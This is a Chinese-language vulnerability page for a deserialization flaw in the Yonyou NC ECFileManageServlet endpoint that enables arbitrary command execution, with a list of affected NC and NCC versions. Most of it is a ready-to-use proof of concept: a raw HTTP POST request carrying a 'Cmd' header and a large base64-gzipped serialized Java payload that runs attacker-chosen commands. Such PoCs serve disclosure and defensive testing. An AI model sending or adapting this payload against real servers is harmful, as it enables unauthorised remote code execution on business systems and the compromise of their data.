用友NC ECFileManageServlet 接口存在反序列化漏洞

2023-05-25 用友NC PoC Public

Description

ecapppub_ecpubapp.jar/nc/impl/ecpubapp/filemanager/service/ECFileManageServlet.class 类中,将接收的body数据传入doAction,又在doAction中,直接对body进行反序列化操作,因此存在反序列化漏洞可导致任意命令执行。影响版本:NC63 / NC65 / NCC1903 / NCC1909 / NCC2005 / NCC2105 / NCC2111

PoC

POST /service/ECFileManageServlet HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7) AppleWebKit/5320 (KHTML, like Gecko) Chrome/32.0.803.0 Safari/5320
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Cmd: echo zcIz7PDh
X-Forwarded-For: 127.0.0.10
X-Originating-Ip: 127.0.0.10
X-Remote-Addr: 127.0.0.10
X-Remote-Ip: 127.0.0.10
Content-Length: 6853

{{b64decode(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)}}

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities